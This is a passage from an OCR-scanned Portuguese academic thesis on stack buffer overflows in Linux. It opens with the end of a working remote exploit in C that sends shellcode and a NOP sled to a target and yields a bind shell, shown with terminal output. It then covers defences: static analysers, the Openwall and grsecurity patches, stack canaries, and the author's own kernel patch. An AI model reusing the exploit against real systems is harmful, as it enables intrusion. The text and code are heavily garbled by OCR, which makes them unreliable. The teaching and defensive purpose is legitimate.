"\xbO\x0b" /I movb $0xb,%al
"\xcd\x80" /I int $0x80
I*  exit(%ebx) */
"\x31\xc0" /I xorl %eax,%eax
"\xb0\x01" /I movb $0x1,%al
"\xcd\x80"; /I int $0x80
int main(int argc, char *argv[])
{

char buffer[262];

int i, n, sockfd, bytes, *ap;

struct sockaddr_in remoto;

if(argc I= 3) {

printf("Uso correto: %s ip porta \n", argv|0]);
return(-1);
}
/I ap aponta pro buffer
ap = (int *) (buffer + 200);
/I preenche o buffer com  nops
for(i = 0; i < sizeof(buffer); i++)
buffer]i] = NOP;

/I colocando o0 enderec,0 de retorno

for(i = 200; i < sizeof(buffer); i += 4)

*ap++ = RET;
/I coloca o shellcode a partir da posicao 30
for(i = 30, n = 0; n < strlen(shellcode); i++, n++)
buffer]i] = shellcode[n];

/l cria o socket

if(  (sockfd = socket(AF_INET,

perror('socket");
return(-1);

SOCK_STREAM, 0)) < 0) {
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}

I/l preenche os dados do host remoto
remoto.sin_family = AF_INET;
/[ converte o IP para a estrutura
if(inet_pton(AF_INET, argv[1l], &remoto.sin_addr) <= 0) {
perror(“inet_pton");
return(-1);
}
remoto.sin_port = htons(atoi(argv[2]));
/[ conecta no host remoto
if(  connect(sockfd, (struct sockaddr *)&remoto, sizeof(remoto))
< 0){
perror("connect”);
close(sockfd);
return(-1);
}
/I envia o buffer!
if( (bytes = send(sockfd, buffer, sizeof(buffer), 0) <0 {
perror("send");
close(sockfd);
return(-1);
}
printf("\nEnviado %d bytes\n", bytes);
close(sockfd);
return(0);

No exploit constrado, erviamos262 bytescom o buffer no mesmoformatodo explicado
na subseéo 3.6.1. Ao corrompero stak frameda funcao processa()no servi® remoto, o
shellcodet executadce temosumashellcomosprivil égiosde quemrodouaaplica@o naporta
30464,comovemosa seuir (terminaisindicadosentrel]):

[terminal 1]

$ ./remvuinl 1540

Aguardando conex 0es na porta 1540

[terminal 2]

$ .Jexpreml 127.0.0.1 1540

Enviado 262 bytes

[terminal 1]

Conexao de 127.0.0.1

send: Bad file  descriptor

[terminal 2]

$ telnet 127.0.0.1 30464

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is 7.

id;

uid=1000(ceps) gid=1000(ceps) groups=1000(ceps)
command not found
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Comodemonstraa sdada, obtivemosuma shell rodandona porta 30464 ao ter explorado
com sucessa falhano programaremoto. Setal programaestvessesendoexecutadocomo
root, tefamosos privil égiosdeleaoexploraravulnerabilidade.
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4 TECNICAS DE DEFESA CONTRA AS FALHAS DE ESTOURO DE BUFFER NA
PILHA

No cagtulo anterior vimosquaoprejudicialumaaplica@ovulnevel aumafalhadebuffer
overflowpodesetornar seexploradapor um ustario mal-intencionado.

Porisso, diversadinhasde defesatem suigido com o objetivo de impedir a invasao e/ou
elevado deprivilégios através da explorac@o dessadalhas. Entre as mais utilizadas, sao:
Protecdo atravésde codigo seguro, Protecao atravésda elevagdo deseguran@ no sistema
operacional e Protecdo atravésda modificacdo decodigo em tempo de compilacdo, como
veremoassedesa segyuir.

4.1 PROTECAO ATRAVESDE CODIGO SEGURD

Comofoi visto nase@o 3.3, paraquehajaumafalhade estourade buffer, € necesario que
hajaapossibilidadalesealterardadosadjacenteatal buffer, poissenaohacomocorromge-lo,
nao existe a possibilidadede alteraro fluxo deexecu@odo programa.

Diversosmateriaistém sido publicadoscom o objetivo de informar os programadoresle
formassegurasde programaéo, entreeles(WHEELER 2003), (HOWARD; LEBLANC, 2002)
e (VIEGA; MESSIER 2003). Basicamentetodasrecomendanguetodaa entradade dadosdo
programasejaverificadae assguradade serlegitima, e o tratamentanterno sero mais se-
guroposs$vel. Paracontrilbuir como processale deserolvimento,diversaderramentagoram
constradas,entreelas:FlawFinder e RATS queveremosa segulir.

4.1.1 FLAWFINDER

FlawFinder e umaferramentaleserolvidapor David Wheelerautorde ( WHEELER, 2003),
e quepossuio objetivo deexaminaro codigo-fontedeumaaplica@o, e reportarpossveisfalhas
desgguran@, organizadagpor nivel derisco (WHEELER, 2001).

O seuesquemale funcionamentc simples: ele possuiumabasede dads com fungdes
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daslinguagensC e C++, fungdesque sao conhecidapor ter problemascriticos de seguran@,
comostrepy(), strcat(), gets(),sprintf(). Elanaoseaplicaapenas fungdesquelevemariscos
de buffer overflowy mastamkem outrosproblemascomo: format string bugs race conditions
(condidesde disputa)e gerg@o pobrede nUmerosrancdbmicos.

A execu@o do FlawFinder em cimado codigo vulnerawvel vulnl dasubseao 3.4.1,pode
servisto abaixo:

$ flawfinder vuinl.c
Flawfinder version 1.24, (C) 2001-2003 David A. Wheeler.

Number of dangerous functions in C/C++ ruleset: 128
Examining wvulnl.c
vulnl.c:14: [4] (buffer) strepy:
Does not check for buffer overflows  when copying to destination.

Consider using strncpy  or strlcpy (warning, strncpy  is easily  misused).
vulnl.c:12: [2] (buffer) char:
Statically-sized arrays can be overflowed. Perform  bounds checking,
use functions that  limit length, or ensure that the size is larger than
the maximum possible  length.
Number of hits = 2

Number of Lines Analyzed = 24 in 0.54 seconds (581 lines/second)
Not every hit is necessarily a security vulnerability.
There may be other security vulnerabilities; review your code!

Comopodemosrer, o FlawFinder nosindicouondeestioasposs$veisfungdesquepodem
levar afalhasdebuffer overflow A sadado FlawFinder € simples:eleindicaalinhaemqueha
algoderisco,emseguida,o nivel derisco entrecolcheteq]]). Osniveisderiscovariamde 1
(poucorisco)ab (altorisco). Ele naose preocupapenagomfungdes,comopodemoser, pois
nosinformou quea utilizacdo dearraysesfticosé perigosaja queelespodemserestourados,
e portantodevemosnosassgurardefazerverifica@o delimites aoutiliza-los.

412 RATS

A ferramentaRAT S (RoughAuditing Tool for Security, desemolvida pelaempresésecue
Softwae, realizabasicament@ mesmacoisaqueo FlawFinder, porém, 0 RATS podeser uti-
lizadoemlinguagensomoPerl, PHP e Python embuscade condidesde estourode buffer e
tamkemde condid®esdedisputa(raceconditiony (SOFTWARE, 2001).

A execu@odo RATSemcimado programavulnldasubseao3.4.1podeservisto abaixo:

$ rats vulnl.c

Entries in perl  database: 33
Entries in python database: 62
Entries in ¢ database: 334
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Entries in php database: 55
Analyzing  wvulnl.c

vulnl.c:13: High: fixed size local buffer

Extra care should be taken to ensure that character arrays that are allocated
on the stack are used safely. They are prime targets for buffer overflow
attacks.

vulnl.c:14: High: strcpy

Check to be sure that argument 2 passed to this function call will not copy
more data than can be handled, resulting in a buffer overflow.
Total lines analyzed: 24

Total time 0.001042  seconds
23032 lines  per second

Como podemosver, a ferramentaRATS nos informou tambem onde esto as principais
falhasno nossocodigo-fonte.

4.2 PROTECAO ATRAVES DA ELEVACAO DE SEGURANQA NO SISTEMA OPERA-
CIONAL

A maioriadeataguesontrafalhasdeestouradebuffer napilhaprecisandeumapilhaonde
dadospossanser executadosp endereo de retornode umafuncao é alteradode forma que
aponteparaum codigo arbitrario, geralmentearmazenadoo proprio buffer quefoi estourado.
Tornandoa pilha nao-eecutwel, podeserpos$vel parara grandemaioriade exploits contra
falhasdeestouradebuffer napilhaepodefazercomquea exploracdodessasulnerabilidadese
tornemaisdificil. Nassubsebesa seguir, olharemosespecificamentparaa parteresponével
por tornar a pilha nao-eecufivel, pois as demaismodifica®esaplicadagpelospatchesesto
forado escopadesteprojeto.

4.2.1 OPENWALL KERNELPATCH

O patd parao kernel Linux deserolvido por Solar Designer baseia-sdasicamentem
alteraro limite dosegmentodecodigo,armazenadoaGDT (Global DescriptorTable), definido
emarch/i386/head.S

+#ifdef ~ CONFIG_HARDEN_STACK

+ .quad 0x00chfa000000f7ff [* Ox23 user  3GB-8MB code at 0 */
+Helse

.quad 0x00cffa000000ffff [* Ox23 user 4GB code at 0x00000000 */
+#endif

Osnumerosacima,saodefinidosdestaforma(BOVET; CESATI, 2003):
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Tabela6: Diferen@sno descritorde sggmentode codigo

Campo | Valor padrao | Valor do patch
Base 0x00000000| 0x00000000

Limite Oxfffff Oxbf7ff
f3 62 &Y 60 59 5K 57 56 55 R4ORE 52 S0 S049 4 47 46 85 44 81 42 440 FOOM IO B oM 3B 1
: L] ob A dwar o |s
BASE4-3T] |n n% o(v| qeim (1| B | S| TeE BASE [16-23)
| : ; | 1
BASE(D-15) LIMAIT £0-15)

MBI BB RATNTRBITBSMWMIBIIEN T S 87 65 4 3210

Figura 24: Descritorde Segmento
Nafiguraanterior o quenosinteressaao 0scampos:

e base:conémo endereo lineardo primeiro bytedo segmento;

e flag G: sefor iguala0, o tamanhado sggmentoé expressad@mbytes casocontiario, &
expressad@mmultiplos de 4096.

e campolimit (limite): defineo tamanhado segmento.

As diferen@sentreo valor pad@odo kernele o valor modificadopelo patd, sao:

O valor padido, est configuradade formaque o endereo baseseja0x0000000Gcom um
limite de Oxfffff, 0 quenosda espao de4GB (poiso flag gest setado).Jano patdch, o tamanho
limite do novosegmentode codigo seia 0xbf7f, o qual &€ iguala 3GB - 1 - 8MB. Comoja
mencionadoa pilha no Linux inicia em Oxbffffff (3GB-1), e 0 tamanhomaximo da pilha &
definidoeminclude/linux/sbed.h

/*

* Limit the stack by to some sane default: root can always
* increase this limit if needed.. 8MB seems reasonable.

*/

#define _STK_LIM (8*1024*1024)

Comoa pilhacresceparabaixo,limitandoo espao dosegmentode codigoparaOxbf7f faz
comqueo processadogereumaexce@oquandaentarexecutarcodigonapilha (pois,CS:EIP
ficaraforado espao deendereamento).

Pom, tornara pilha totalmentenao-eecutivel tem seusproblemas:o kernel precisaex-
ecutardadosna pilha parapodertratar sinaiserviadosparao processog 0 uso de fungdes
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aninhadaguma funcao definida dentro da outra) tamkem precisade uma pilha executel.
Paranao quebraro suportecom asaplicadesque se utilizam dessaguncionalidadesp patch
Openwalltrataessesasosespedicos. Quardo o processadotentaexecutarum codigo que
esh fora do espao de endereamento(porquefoi diminuido pelo patd), umaexce@o de
prote@o geral & disparada,sendotratadapela funcao do_generl_protection() definidaem
arch/i386/lernel/traps.G e é ali que o patch Openwallrealizamodifica®esparatratar esses
casos.

Paraaplicaro patch Openwallno kernel bastaseguir os seguintespassostendobaixadoo
kernelde http://wwwkernel.og, e o patd de http://wwwopenwall.com/linux

# pwd

lusr/src

# Is

linux-2.4.24-owl.tar.gz linux-2.4.24.tar.bz2

# tar -zxf linux-2.4.24-owl.tar.gz

# tar -jxf  linux-2.4.24.tar.bz2

# cp linux/2.4.24-owl/linux-2.4.24-ow1.diff

# patch -p0 < linux-2.4.24-owl.diff

patching file linux-2.4.24/Documentation/Configure.help

patching file linux-2.4.24/security/Config.in

A sdadado programateve de serreduzidapor restriddesde espao. Apobster modificadoo
kernel bastaseguir os passopadBesparaa recompila@odo mesmo poréem,umanova opcao
sel@ mostradano menuprincipal, chamad&ecurityOptions comodemonstraa figuraabaixo:

Linux Kernel vZ2 4. 240wl Conf iguration

e e e R R R R R R R R R NSNS s s s asasd

9

Arrow keys navigate the menu. <Enter> selects submenus ——3. 1

Highlighted letters are hotkeys. Pressing <Y> includes, <N> excludes, |

<M> modularizes features. Press <{Esc><Esc> to exit, <7> for Help. 1

Legend: [=] built-in [ 1 excluded <M> module < > module capable 1

FITTI1333d ¢ DT LLLLLLILLLILLILILILILILILILILLLLLLLLLLLLLLLLL2222LISE |

nput core support -—-—> 1

haracter devices -—> 4

M ltimedia devices -—-—> 4

ile systems —-> 1

onsole drivers -—> 4

ound -——-> 4

SB support -———> 1

luetooth support -—> 1

:

1

1

1

d

ernel hacking --—->

i
i
i
i
i
i
i
i
i
i
R

< Exit > < Help >
$TTETTTTLTLLTLLLLTLLLLTLLLLTLLLLLLLLLTLLLLILLLLILLLLILLLLILLLLIILLLINLLLLL

Figura 25: Menuderecompila@odo kernelmodificadopelo Openwall
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Ao entrarnaop@o SecurityOptions temosa segguintetela:

Linux Kernel vZ.4.24-owl Conf iguration

bk ek ek e e e e R E s

L

fArrow keys navigate the menu. <Enter> selects submenus ——3. i

Highlighted letters are hotkeys. Preszing <Y> includes, <N> excludes, |}

<M> modularizes features. Press {Esc><{Esc> to exit, <{7> for Help. i

Legend: [+=] built-in [ 1 excluded <M> module < > module capable i

FITITITITITTTTITITITI23 3333333333333 3333333333333 33332333232 ]

[;] Hon—executable user stack area (MEMW) 4

[#] utodetect and emulate GCC trampolines (NEW) i

[#]1 estricted links in ~tmp (NEW) i

[#]1 estricted FIFOs in ~tmp (NEW) i

[ 1 estricted ~proc (NEW) i

[#] wnforce RLIMIT_NPROC on execve(Z) (NEW) i

[ 1 estroy shared memory segments not in use (NEW) i

i

i

i

1

1

d|

i
i
i
i
i
i
i
i
i
i
n

< Exit > < Help >
$TIIITTIIIITIIILLIIILLILILLLLILLIIILLIIILILIIILLIIILLIIILLIIILLIILLLILLLLL

Figura 26: SecurityOptionsdo Openwall

A descri@odessa®pdese asayuinte:

Non-eecutableuserstak area ativa amodifica@oquetornaa pilha ndo-eecutel,
¢ AutodetectindemulateGCCtrampolines ativa o suportea fungdbesaninhadas;

e Restrictedinksin /tmp naopermitequeustarioscriemlinks paraarquivosque naosejam
donosnodiretorio /tmp;

e RestrictedFIFOs in /tmp nao permitequeuslariosescream emFIFOs quenao sejam
donosnodiretorio /tmp

e Restricted/proc. modifica as permis®esdo diretorio /proc de forma que 0s usLarios
vejamapena®s processosgjueelesexecutaram;

e Enforce RLIMIT_NPROC on execve(2) forca averifica@o daquantidadede processos
emchamadasxecve(2)

e Destioy shaed memorysggmentsnot in use destbi sggmentosde menbria compartil-
hadaquenaoestiosendautilizados.

Paracomprovar afuncionalidadedo patd, executaremos exploit explconstrido nasubseao
3.6.1:
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$ uname -a
Linux projeto 2.4.24-owl #2 Thu Jan 29 16:28:48 BRST 2004 i686 unknown
$ Jexpl
ret:  Oxbffffe40
Usuario aQ$a°
y>0a cadastrado!
Segmentation  fault

Ao executarmo® nossoexploit, podefamoster acreditadajueerramoso offsete acessado
umaareade mendriainvalida. Poemseanalisarmo®slogsdo servidor veremoso seguinte:

Security: return  onto stack from 0x0804845e to Oxbffffe40 running as
UID 1000, EUID 0, process vuInl:195

Ou seja,0 patch detectouque tentamosexecutarum codigo na pilha e se encarrgou de
terminaro processo.

4.2.2 GRSECURITYXERNELPATCH

Outramaneiradetornarpartesdamenbria nao-executwel é atraveésdapagina@o. Muitas
arquiteturastem suportenatvo a marca@o depaginascomo ndao-&ecutweis e geramuma
exce@o quandoum programatentaexecutarcodigo em tal pagina. A arquiteturalA32 nao
possuisuportea isso,enfio essamarca@o depaginascomonao-eecutweisdeve seremulada
via softwae, e € comoo PaX (parteprincipal do grsecurity faz (PAX, 2003).

Paraimplementapaginamnao-eecugweis,o PaX alterao sentidodo campausLario/superusario
de uma pagina. Para paginasnao-eecufweis, ele colocaé o privil égio da pagina parasu-
perusrio, significandoque quandaim programaem execu@o no espao de uslario tentar
acessaessgagina,sea geradaumaexce@o.

Além disso, ele alterao controle de exce®esde paginasdo kernel pad@o parafungdes
proprias,comsuasverificadesparaidentificarseo processadotentouexecutarumainstru@o
ou sefoi um acess@ dados.No casode umainstru@o, ele podedeterminaro programag no
casode acessa dadosele podemodificar o privilégio da paginae carrgyar aqueleendereo
no DTLB! (datatranslatelookasidebuffer). Aposisso, ele restaurao estadoda paginapara
0 estadoantigo, pois se houwer umatentatva de execu@o decbddigo, umaentradano ITLB
(instructiontranslatelookasidebuffer) sea procuradaSe raohouver umaentradaseia gerada
outraexce@o.

10 TLB (translationlookasidebuffer) foi dividido emDTLB e ITLB apartir do processaddPentium Semessa
separago, estepatch naoseriapossvel.
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O PaX apresentaambem os mesmosproblemasque o patdh Openwal] em rela@o a
fungdesaninhadase tratamentode sinais, e tamkem posaui fungdes proprias paramantera
compatibilidadecom programasxistentes.

As caracteisticasdo grsecurity se@o descritasa seguir, juntamentecom seuspassosle
instala@o. Apos ter baixadoo patdh de wwwgrsecuritynet e ter o codigo fonte do kernel
bastarealizaras sguintesoperades:

# pwd

lusr/src

# Is

grsecurity-1.9.13-2.4.24 patch linux-2.4.24.tar.bz2
# tar -jxf  linux-2.4.24.tar.bz2

# patch -p0 < grsecurity-1.9.13-2.4.24.patch

patching file linux-2.4.24/Documentation/Configure.help
patching file linux-2.4.24/Makefile

patching file linux-2.4.24/net/sunrpc/xprt.c

patching file linux-2.4.24/net/unix/af_unix.c

Feitoisso,bastaseguir os passogipicosparaa recompila@o do kernel, porem,umanova
opcaoaparecet no menude configura@odo kernel chamadasrsecurity

Linux Kernel v2.4.Z24-grsec Conf iguration
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Figura 27: Menuderecompila@odo kernelmodificadopelo Grsecurity

Dentrodessemenu,podemosativar o suportea grsecuritye escolherum nivel de seguran@,
comomostraa figuraa seguir:
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Figura 28: Menudo Grsecurity

Existem4 tipos de niveis de seguran@, porem, vamosselecionaro tipo Customizedque nos
permiteescolherentreasopgesde configura@o:
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Figura 29: Niveisdo Grsecurity

TendoescolhidoCustomizede possvel ver asopdesprincipaisdo grsecurity sendode-
scritaslogo adiante:
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Figura 30: Opgesprincipaisdo Grsecurity

e AddressSpaceProtection prote@ono espao deendereamento;
e ACL options op@esde ACL (accessontmol list);

¢ Filesystenprotections prote@esno sistemade arquvos;

e KernelAuditing: auditoriano kernet

e ExecutableProtection prote@oemexecufiveis;

e NetworkProtection prote@o narede;

e Sysctlsupport suportea sysct]

e Logging options opcao delogging.

Olharemosespecificamenta partede AddressSpaceProtection pois € ondeé ativadaa
prote@o contraataquesle estourode buffer:
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Figura 31 AddressSpaceProtectiondo Grsecurity

As op@esdessanenusao:

e Enforcenon-eecutablepages ativa o suportea paginasnao-executiveis;

e Pagingbasedhon-«ecutablgpages ativa o suportea paginasnao-eecufiveisatrasésda
pagina@o,o quepossuium overheadnaarquitetura A32;

e S@mentationbasednon-ecutablepages ativa o suportea paginasnao-eecuaweis
atrasés da sggmentaa@o (semelhanteo que o patch Openwallfaz, limitando o espao
do sggmentode cddigo);

e Emulatetrampolines permitea execu@o decodigosaninhados;
e Restrictmpmtect(}) impedequeprogramasnudemo statusdaspaginasde menoria;
e Disallow ELF .text relocations naopermiteareloca@o dese®es.text debinariosELF;

e AddressSpacd.ayoutRandomizationumadascaracteisticasnaisimportantesio PaX/grsecurity
€0 ASLR. Elafazcomqueo kernelutilize umacertarandomiza&o parapartesdo pro-
gramaqueforam carregadosem menbria, impedindoguegrandepartedosexploits fun-
cionem,jaqueo endereo emmendriaterade seradvinhado;

¢ Randomizeiserstak base ativa arandomizaaodo endereo dapilhade cadataref;
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¢ Randomizenmap(oase ativa arandomizadodoendereo ondeasbibliotecadinamicas
seocarrggadas;

e RandomizeET_ EXECbase ativa arandomizaéo do endereo basede um executel
ELF dotipo ET_EXEC;

e Denywriting to /dev/kmem/dev/meme /dev/port nao permitequesejamrealizadases-
critasdiretasnamenbria ou portas;

e Disableprivilegedl/O: desatva opera®esdel/O privilegiadas;

e Remeeaddressedrom/proc/pid/[maps—stat]desatvainformadessobreosendereos
demapeamento;

¢ Hide kernelsymbols escondeénformadesde simbolosdo kernel

Paracomprovarafuncionalidadedo nivel desgguran@adicionadoprincipalmentgrote@o
contraexecu@o dedadosnapilha, tentaremogxecutaro exploit expldasubseao3.6.1:

$ uname -a
Linux projeto  2.4.24-grsec #3 Thu Jan 29 16:23:15 BRST 2004 i686 unknown
$ Jexpl
ret:  Oxbffffe40
Usuario aQsa°
>h9)]OQ o/ cadastrado!
Segmentation  fault

Da mesmaforma queno patch Openwall o processauetentariaexecutarum codigo ar-
bitrario foi terminado.Analisandooslogs, temos:

grsec: From 200.201.61.55: signal 11 sent to  (vuln1:29015) UID(1000)
EUID(0), parent (bash:7164) UID(1000) EUID(1000)

Comopodemosrer, foi erviadoum sinalparao processdsignal 11, SIGSEGY, quefinal-
izaa execu@odomesmo.

4.3 PROTECAO ATRAVESDA MODIFICACAO DE CODIGOEM TEMPODE COMPILACAO

A idéianestetipo de defesa, & modificaro codigo emtempode compila@o, de formaque
sejaagragadoaele certasverifica@esquepermitamadetec@o daalterg@odoscampossalvos
no stak frame(registrode ativacdo). Entreasmaisutilizadasestio o Sta&kGuaid e ProRolice,
comoveremosadiante.
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4.3.1 STACKGUARD

O StakGuad tentadetectare parar(terminandca execu@odo programaum ustario mal-
intencionadauetentaexplorarumafalhade buffer overflownapilha,como objetivo dealterar
0 endere@ deretorno salo (COWAN etal., 1998).

Elevemnaformadeum patd parao compiladorgccquebasicamentenodificaosregistros
deativacdo deumafungao,paraajudarnadetec@o daalterg@odo endereo deretornodeuma
funcio. Paracons@uir isso, 0 Sta&kGuand insereuma palavra especialchamada’canary™
(carario) proximo ao endere@ de retorno no prélogo dafungao, assumindajue quandaim
buffer € estourad napilha, e o endere deretorno é estouradoeletambemdeve sobrescreer
o "canario”. No eplogo dafungao é verificadose o "canario” foi modificado. Seele naofoi,
enfio o StakGuard assumejue o endere@ de retorno nao foi modificadoe a xecu@o do

programagpodecontinuar casocontiario, o programaé terminado.

O StakGuad suportadoistiposde carrios:randdmicoeterminador O carariorandmico
€ geradono inicio do programade forma que um ustario mal-intencionadaao tenhacomo
sabelo queo carario €, e portantonaopodesubstiti-lo guandotentarestouraium buffer. Cada
vezqueumafuncdoé& chamadag proximo valor databelade catmriosinternado StakGuaid é
utilizado.

O carario do tipo terminadortrabalhaem cima de umaidéia diferente,assumindaue a
maioriadasopera®escomstringssaoterminadaspor NULL, CR,LF, -1, o Sta&kGuard coloca
um carario napilhaguecontemosquatrotiposdeterminadoregitados,assumind@ueno caso
deum estourode buffer, sobrescreer oscamposdo registro de ativacao nao seia possvel, ou
seo atacanteentarsimularestecarario, ele naotera comocontinuaro transbordado buffer, ja
gueosterminadoreserminafosuasoperadescomstring.

E importantefrisar que essetipo de proteco apenagparaataquesio tipo stadk smashing
nao todosos ataqguescontrao endereo de retorno. Um atacanteaindapode corromperum
ponteiro,fazendcele apontarmpro endereo deretornoe enfioescreer ali um novoendereo.

2Recebeuessenome depois que cararios foram utilizados por mineradorespara detectara presena de
mondxido decan@o,ja queasaveseramsensveisa essegas
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endereco mais alto

dados anteriores

parametros

endereco de retorno

canario

base da pilha anterior
variaveis locais
endereco mais baixo

Figura 32 Formatodo stak frameprotegido pelo Sta&kGuad

4.3.2 PROPOLICE

O ProPolice & baseadmo mesmoprincipio do StakGuad, apresentadaasubseéo ante-
rior, poistamkem utiliza "canarios” paraproteger o endereo deretornode sersobrescritgor
buffers quesaoestouradogiBM, 2001).

O ProPolice, no entanto,colocao carario antesdo frame pointer (baseda pilha salo)
paraprevenir um ustario mal-intencionadale sobrescreer o framepointer. Ele tamkemtenta
prevenir ataquesontraponteirosparafuncao. Ele possuias sguintesdiferen@scomrela@o
aoStakGuad:

e reordenaaposi@o devariaweislocaisdeformaque buffers sejamposicionadoproximos
aoguard value

e naomodificao codigodo programagdiminuindoo overhead

endereco mais alto

dados arteriores

parametros

endereco de retorng

base da pilha anterior

guard value

wariawveis char

outras variaveis locais

endereco rmais baixa

Figura 33 Formatodo stadk frameproteagido peloProFolice

Como mostraa Figura 33, as variaweis que podemser estouradaghar, sao colocadas
proximasao car’rio (guard value) e quandohouver algum estourodessesuffers, e invadir
o guard valug o programaé terminado.
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5 PROPOSTA DE SOLUCAO

Comofoi visto no cagtulo 3, parase executarum codigo arbitrario, o atacanteprecisa
"injeta-10” no espao de endereamentodo programavitima. O shellcodepossuiinstrud@esde
magquinavalidas,queacabanmexecutandaimachamadale sistema(syscal) paraqueo kernel

processea suarequisi@o (geralmentesysexecve().

Porem,essasnstru@es,emprogramavalidos,esioarmazenadosase@o.text dobinario
gue est sendoexecutado,e portanto,nao dereriam poder ser executadadora dessase@o,
comopor exemplo,napilha. E ondea nossapropostade solugio seencaixa:evitar quesejam

executadasyscallsno espao dapilha, heapou bss.

5.1 CODIGOFONTE

Basicamentdjveramqueseralteradost arquivos:
e Makefile altera@o do "nome” do kernel indicandoquefoi feita umamodifica@o em
relaco aokernelpadio;

e arch/i386/confign: inclusito deumanova entradano menude configuragéo do kernel
permitindoquesejaativadaa utilizacao damodifica@o constriada;

e arch/i386/kernel/entryS incluido um desvioquandoumasyscallé executadafazendo
comqueexecutea funcao deverifica@oconstrida;

e arch/i386/lernel/pocess.t incluida a funcao que determinasea execu@o dasyscallé

permitidaou rao.

O patd (modifica@o) parao kernel 2.4.24segueabaixo,no formatode sadado utilitario
diff, que permite que o patch sejaaplicadode forma relatvamentesimplesno codigo fonte
original do kernel.

diff -urN linux-2.4.24/Makefile linux-2.4.24-noexec/Makefile



--- linux-2.4.24/Makefile Thu Jan 29 15:42:31 2004

+++ linux-2.4.24-noexec/Makefile Fri Jan 30 02:05:02 2004
@@ -1,7 +1,7 @@

VERSION = 2

PATCHLEVEL= 4
SUBLEVEL = 24
-EXTRAVERSION =
+EXTRAVERSION= -noexec

KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)

diff -urN linux-2.4.24/arch/i386/config.in linux-2.4.24-noexec/arch/
i386/config.in
---  linux-2.4.24/arch/i386/config.in Thu Jan 29 15:45:45 2004
+++ linux-2.4.24-noexec/arch/i386/config.in Fri Jan 30 02:15:41
2004
@@454,6 +454,15 Q@

endmenu
fi
++

+mainmenu_option  next_comment
+comment 'Noexec stack patch’
+

+bool ’'Nao permitir a execuc, ao de syscalls na pilha, heap ou bss’
CONFIG_NOEXEC

+

+endmenu

+

+

mainmenu_option  next_comment
comment 'Sound’

diff -urN linux-2.4.24/arch/i386/kernel/entry.S linux-2.4.24-noexec/
arch/i386/kernel/entry.S

---  linux-2.4.24/arch/i386/kernel/entry.S Thu Jan 29 15:45:54
2004

+++ linux-2.4.24-noexec/arch/i386/kernel/entry.S Fri Jan 30

02:07:42 2004

@@203,6 +203,10 @@
pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)

+#ifdef ~ CONFIG_NOEXEC

+ call SYMBOL_NAME(noexec_func)
+ movl ORIG_EAX(%esp),%eax
+#endif
testb  $0x02,tsk_ptrace(%ebx) # PT_TRACESYS

jne tracesys
cmpl  $(NR_syscalls),%eax
diff -urN linux-2.4.24/arch/i386/kernel/process.c linux-2.4.24-noexec

91
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/arch/i386/kernel/process.c

--- linux-2.4.24/arch/i386/kernel/process.c Thu Jan 29 15:45:52
2004

+++ linux-2.4.24-noexec/arch/i386/kernel/process.c Fri Jan 30
11:40:28 2004

@@835,3 +83530 @@

}

#undef last_sched

#undef first_sched

+
+#ifdef ~ CONFIG_NOEXEC

+asmlinkage  void noexec_func(struct pt_regs regs)

al

+ struct  mm_struct *mm = current->mm;

+

+ if (mm) {

+ struct  vm_area_struct *vma,

+ down_read(&mm->mmap_sem);

+ vma = find_vma(mm, regs.eip);

+ if ('vma || vma->vm_start > regs.eip) {

+ up_read(&mm->mmap_sem);

+ return;

+ }

+

+ if  ('vma->vm_file [| '(vma->vm_flags & VM_EXEC) ||
vma->vm_flags & VM_WRITE) {

+ printk KERN_ALERT  "Tentativa de execuc ao de
codigo (arbitr ario)) em: %s, PID: %d, eip: %08Ix\n", current->comm,
current->pid, regs.eip);

+ up_read(&mm->mmap_sem);

+ do_exit(SIGKILL);

+ }

+ up_read(&mm->mmap_sem);

+ }

+ return;

+}

+#endif

+

+

De possedo contdido acimaem um arquvo chamaddinux-2.4.24-nogec.patb, e com
aversao do kernel pad@o dehttp://wwwkernel.og, tendodescompactado arquvo fonte do
kernelem/usr/sic, podemosaplicaro patc daseguinteforma:

# pwd

lusr/src

# Is

linux-2.4.24-noexec.patch linux-2.4.24.tar.bz2
# tar -jxf  linux-2.4.24.tar.bz2

# Is
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linux-2.4.24 linux-2.4.24-noexec.patch linux-2.4.24 tar.bz2
# patch -p0 < linux-2.4.24-noexec.patch

patching file linux-2.4.24/Makefile

patching file linux-2.4.24/arch/i386/config.in

patching file linux-2.4.24/arch/i386/kernel/entry.S

patching file linux-2.4.24/arch/i386/kernel/process.c

Ap0bsisso,é sb sgyuir ospassopadidespararecompilaro kernel Quanddfor executada
malke menuconfigaparece umanova opcao,chamaddNoexecstak patch”. Bastamarcara
opgointernano menuparaquea prote@o sejaativada,comomostramasfigurasabaixo:
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Figura 34: Inclusaono menuprincipal
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5.2 TESTES

O objetivo dostestesfoi garantirquea solu@o deserolvida nao entrariaemconflito com
aplica®esde usoemservidorescomoApade servindopaginasPHP. Alemdisso,a prote@o
deveriaobviamententerceptatentatvasdeexecu@o deshellcodesiapilha. Foi possvel servir
paginassemter um overheadquepoderiater sidocausadgelainclusiodo patc.
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Figura 36. ApadeservindopaginasPHP

Agora,analisanddentaremogxecutaro programaexplquefoi constrido nasubse&o3.6.1:

$ uname -a
Linux projeto  2.4.24-noexec #4 Fri Jan 30 11:40:35 BRST 2004 i686 unknown
$ Jexpl
ret:  Oxbffffe40
Usuario aQ$a°
cadastrado!
Killed

Podemoser queo processdoi morto e geradoum log automaticamentpelo patd, indi-
candoo nomedo processoPID (procesdD) e o valor do eip noinstanteemqueo processdoi
terminado:

Tentativa de execuc ao de codigo (arbitr ario) em: vulnl, PID: 199, eip:
bffffe65
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6 CONCLUSOESE TRABALHOS FUTUROS

Comaelabora@odesterabalho foi pos$vel percebeguecadavezmaisaareadesegguran@
computacionalemevoluido. Empresasantode softwarequantode hardwaree programadores
temtrabalhada@mconjuntocomo objetivo deaumentaa confiabilidadenossistemagproduzi-
dos,porem, € umatarefa bastantecomplexa, pois sao passogjue envolvemdiversasvariaveis,
tecnicase tecnologiagjuepodemnao sertotalmente dominadas.

Além disso, deve-seter em menteque nenhumaprote@o € 100% efetiva, elaselevam a
segguran@doambienteporemnaopodemgarantirtotal prote@o. Um exemplonotavel € afalha
nafuncaodo_brk() nokernel gueafetouate mesmasistemagprotagidose bemconfiguradogpor
especialistasmseguran@, inclusive contandacommodifica@esno kernelcomoo grsecurity

E dooutrolado,estiooshadersqueestiosemprebuscandaneiosdepassapelasestridoes
